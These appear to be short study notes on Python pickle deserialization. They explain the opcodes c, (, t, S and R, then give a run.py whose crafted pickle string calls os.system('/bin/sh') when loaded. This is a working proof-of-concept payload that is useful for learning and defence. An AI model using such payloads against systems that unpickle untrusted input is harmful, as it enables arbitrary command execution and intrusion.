Python pickle code execution

desc.md

• c: Read to the newline as the module name, module. Read the next line as the object name, object. Push module.object onto the stack.
• (: Insert a marker object onto the stack. For our purpose, this is paired with t to produce a tuple.
• t: Pop objects off the stack until a ( is popped and create a tuple object containing the objects popped (except for the () in the order they were /pushed/ onto the stack. The tuple is pushed onto the stack
• S: Read the string in quotes up to the newline and push it onto the stack.
• R: Pop a tuple and a callable off the stack and call the callable with the tuple as arguments. Push the result onto the stack.
• .: End of the pickle.

run.py

#https://checkoway.net/musings/pickle/

import pickle5

s = """cos
system
(S'/bin/sh'
tR."""

pickle5.loads(str.encode(s))